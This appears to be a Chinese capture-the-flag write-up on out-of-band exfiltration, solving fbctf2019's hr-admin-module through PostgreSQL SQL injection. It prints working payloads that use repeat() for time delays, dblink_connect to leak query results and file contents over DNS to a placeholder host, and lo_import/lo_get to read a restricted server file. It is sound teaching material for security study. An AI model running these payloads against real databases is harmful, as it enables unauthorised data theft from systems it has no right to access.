OOB带外攻击学习

前言

之前看到fbctf的时候看到了这道题,但是一直没找到时间好好学习一下,这次某公司的比赛网络与信息安全领域专项赛——按F注入又碰到了一样的环境(真的就是一摸一样,可是最后卡在读文件一直读不出来,才想起来要学习一下这种方式。

知识

带外通道(OOB)

带外通道技术(OOB)让攻击者能够通过另一种方式来确认漏洞的存在。在这种没有任何回显或者表现得漏洞中,攻击者无法通过恶意请求直接在响应包中看到漏洞的输出结果。带外通道技术通常需要脆弱的实体来生成带外的 TCP/UDP/ICMP 请求,然后,攻击者可以通过这个请求来提取数据。一次 OOB 攻击能够成功逃避监控,绕过防火墙且能更好的隐藏自己。

在Web中通常在以下场景会使用带外通道:

命令执行

SQL注入

XXE

带外通道得方式:

http方式:

http://domain.com/?secret=xxxxx  带出得信息位于get参数中

http://domain.com/xxxxx    带出得信息位于路径中

也可以放在cookie中或者post参数里

dns方式

curlxxxx.domain.com带出得信息位于域名当中

http方式和dns方式都有其局限性,DNS回显是有限制的,根据域名的规则,域名只能使用英文字符,数字,-,且-不能用作开头和结尾,域名长度也不可以超过63.

http方式和dns方式都需要注意编码得问题,否则影响其本身的结构

题目为例

fbctf2019 hr-admin-module

打开题目后,看到首页,首先最引人瞩目的应该就是File manager地方下的红色报错信息,该信息泄露了敏感文件的具体路径,/var/lib/postgresql/data/secret,并提示我们当前用户没有足够的权限,初步猜测这应该是题目想要我们获取的目标。

OOB带外攻击学习_第1张图片

根据敏感文件路径,我们可以初步判定这个web应用在后端采用postgresql来进行存储。

在对网站进行初步的信息搜集,比如先扫描目录看看是否有敏感文件泄露,当然这里不是这道题目的核心,只是顺带提一句一般的做题或者渗透的思路,然后查看网站与后端有什么地方交互,比如

OOB带外攻击学习_第2张图片

在这三处与网站交互的地方,user_search是在前端禁止的,前端禁止就等于没有禁止,不过可以直接通过get方法请求发送,既然题目明确对这里做了限制,那就提示我们漏洞点应该在这里,因此对这个user_search点进行测试(这里对语句需要执行多次,查询看起来是异步的,发送第二次查询才会返回第一次查询结果)。

/?user_search=1    返回正常

/?user_search=1'  返回warning提示

这里提示我们这个点可能存在注入,继续测试

/?user_search=1'and1=0--    返回正常

/?user_search=1'and1=1--    返回正常

这里我们猜测网站的逻辑,可能只有拼接后的sql语句出错,才会返回warning提示,那我们从这需要排除报错注入,以及布尔盲注,因为即使构造的语句出错,并不返回错误的具体信息,并且布尔拼接的语句都是可以正常执行的,在前端返回并不会有不同的表现。

我们可以继续利用order by来测试返回的columns数

/?user_search=1'orderby1-- 返回正常

/?user_search=1'orderby2-- 返回正常

/?user_search=1'orderby3-- 返回warning提示

通过order by可以判断出user_search这个点返回的columns数为2,但是我们仍然不能获取信息,能否配合条件语句来控制?这个也许可以考虑

/?user_search=1' unionselect1,2--            返回warning提示

/?user_search=1' union select 1,'mote' --      返回正常

/?user_search=1'unionselect'mote','mote'--  返回warning提示

这里可以判断对应列的属性为数值还是非数值类型(比如字符串和NULL值),说明column1为数值类型,column2为非数值类型

相关实验:SQL注入原理与实践

扫描下面二维码,或点击合天网安实验室(PC端操作最佳哟)

OOB带外攻击学习_第3张图片
OOB带外攻击学习_第4张图片
扫码开始学习

方法一:延时注入

顺着做题的思路,那是否可以进行延时盲注呢?在postgrest数据库中的延时函数有

pg_sleep(seconds)pg_sleep_for(interval)pg_sleep_until(timestampwithtimezone)pg_sleep让当前的会话进程休眠seconds秒以后再执行。seconds是一个doubleprecision类型的值,所以可以指定带小数的秒数。pg_sleep_for 对于指定为interval的较长睡眠时间是一个便利函数。pg_sleep_until在需要特定唤醒时间时比较便利。SELECTpg_sleep(1.5);SELECTpg_sleep_for('5 minutes');SELECTpg_sleep_until('tomorrow 03:00');

下面测试延时:

/?user_search=1' unionselect1,pg_sleep(5)--  返回warning提示

/?user_search=1' union select 1,cast(pg_sleep(5) as text) --  要转换一下类型,返回正常,但是没有延时

/?user_search=1'unionselect1,cast(pg_sleep_for('0.1 minutes')astext)--  返回正常,但是没有延时

说明正常的延时函数都被过滤了,但是repeat()方法可以导致延时(参考https://balsn.tw/ctf_writeup/20190603-facebookctf/)

/?user_search=1' unionselect1,(selectcasewhen1=1then(selectrepeat('a',10000000))elseNULLend)--

OOB带外攻击学习_第5张图片

这样就可以获得一个延时注入的点,注入脚本如下(by balsn):

https://github.com/w181496/CTF/blob/master/fbctf2019/hr_admin_module/exp.py

可以获得如下基本信息:

version:(Debian 11.2-1.pgdg90+1)current_db:docker_dbcurrent_schema:publictableof public: searchescolumnsof searches: id,search

searches表是空表

方法二:信息带外

在PostgreSQL中,存在dblink模块,可以外联数据库或者当前数据库,通过dblink_send_query来异步执行操作,但是同时因为会对host进行dns查询,因此,可以利用这个函数来把查询得到的信息通过DNS的方式传送出来。


/?user_search=1' unionselect1,(selectdblink_connect(''))--  没有提示warning,所以语句是正常的

/?user_search=1' union select 1,(select dblink_connect('host=' || (SELECT version()) ||'xxxx.ceye.iouser=apassword=a dbname=test')) --  查询版本,还可以使用另外一种方法

/?user_search=1'unionselect1,(selectdblink_connect('host='|| (SELECTcurrent_setting('server_version_num')) ||'.xxxx.ceye.io user=a password=a dbname=test'))--  查询到版本数字

/?user_search=1' union select 1,(select dblink_connect('host=' || (SELECT current_database()) || '.xxxx.ceye.iouser=apassword=a dbname=test')) --  查询到当前连接的数据库

顺着这个方法可以搜集数据库的一些信息,如方法一。

方法三:外联数据库

在VPS上部署一个PostgreSQL服务器,监控PostgreSQL的接收端口,设置连接的用户和密码为自己设置的即可,PostgreSQL默认不使用SSL加密通信数据,所以我们可以直接看到数据是明文传输的。

首先设置配置文件中listen_addresses为*,监听所有地址(配置文件默认为postgresql.conf也在/var/lib/postgresql/data/下)

使用tcpdump来监控数据

sudotcpdump -nX -i eth0 port5432

尝试下连接该数据库,看能否抓到数据

/?user_search=1' unionselect1,(selectdblink_connect('host=192.168.66.38:5433 user='|| (SELECTcurrent_database()) ||' password= dbname=test'))--

OOB带外攻击学习_第6张图片

在读version()等一些信息的时候需要注意进行编码,否则字符串里的空格会破坏dblink_conncet的字符串参数结构。

/?user_search=1' UNIONSELECT1,(SELECTdblink_connect('host=xxx port=xxx user=@'||(SELECT+encode(cast(current_setting('server_version')+as+bytea),'base64'))||' password=postgres dbname=postgres'))--

通过上述三种方法并没有在数据库中发现什么有用的信息,并且唯一的表searches表也是空的,因此考虑读取文件,回到题目一开始的提示,这应该是暗示我们要读取/var/lib/postgresql/data/secret文件了。但是当前用户为docker,不够权限执行系统管理员才能执行的函数pg_read_file(),pg_ls_dir()orpg_stat_file()。

因此我们需要找到一种方法来读取到/var/lib/postgresql/data/secret文件,/var/lib/postgresql/data/是postgresql的默认数据存储目录。

这里稍微记录下碰到这种情况也就是需要绕过的时候的做法,一般都是谷歌百度,然后阅读文档,另外可以自己起一个环境去搜索相关的函数。例如在这里,balsn的做法是另外起一个环境:

SELECT proname FROM pg_proc WHERE proname like '%file%';  查询所有带有file的函数

OOB带外攻击学习_第7张图片

但是这些函数都似乎没起作用

OOB带外攻击学习_第8张图片

可以看到第一个方法,通过查阅文档(学会阅读文档很重要!)

OOB带外攻击学习_第9张图片
OOB带外攻击学习_第10张图片

在将服务器端lo_import和lo_export函数授权给非超级用户时需要仔细考虑安全隐患。具有此类权限的恶意用户可以轻松地将其变为超级用户(例如,通过重写服务器配置文件),或者可以攻击服务器的其余文件系统,而无需获取数据库超级用户权限。因此,对这两个函数的权限授予必须谨慎。

回到题目中来,lo_import方法可以读取文件为postgres对象

/?user_search=1' unionselect1,(selectdblink_connect('host='|| (SELECTlo_import('/var/lib/postgresql/data/secret')) ||'.xxxx.ceye.io user=a password=a dbname=test'))--

返回了对应的oid

OOB带外攻击学习_第11张图片

这说明这里我们可以使用lo_xx等一系列的方法

我们可以通过查询pg_largeobject_metadata表来获得所有的大对象的oid

/?user_search=1' UNIONSELECT1,(SELECTdblink_connect('host=IP user='|| (SELECTstring_agg(cast(l.oidastext),':')FROMpg_largeobject_metadata l) ||' password=postgres dbname=postgres'))--

然后我们通过lo_get方法,来读取对应oid的object的值,因为读取后的值时bytea类型,需要进行转码比如UTF8

/?user_search=1' unionselect1,(selectdblink_connect('host='||substring(convert_from(lo_get(16444),'utf8'),1,30) ||'.xxxx.ceye.io user=a password=a dbname=test'))--

最后flag就在oid为16444的对象中

参考链接

https://balsn.tw/ctf_writeup/20190603-facebookctf/

https://xz.aliyun.com/t/5399

https://github.com/fbsamples/fbctf-2019-challenges/tree/master/web

https://github.com/PDKT-Team/ctf/tree/master/fbctf2019/hr-admin-module

https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md

https://www.postgresql.org/docs/11/dblink.html

https://github.com/w181496/CTF/blob/master/fbctf2019/hr_admin_module/exp.py

http://www.postgres.cn/docs/9.4/functions-datetime.html#FUNCTIONS-DATETIME-DELAY

https://www.postgresql.org/docs/11/dblink.html

你可能感兴趣的:(OOB带外攻击学习)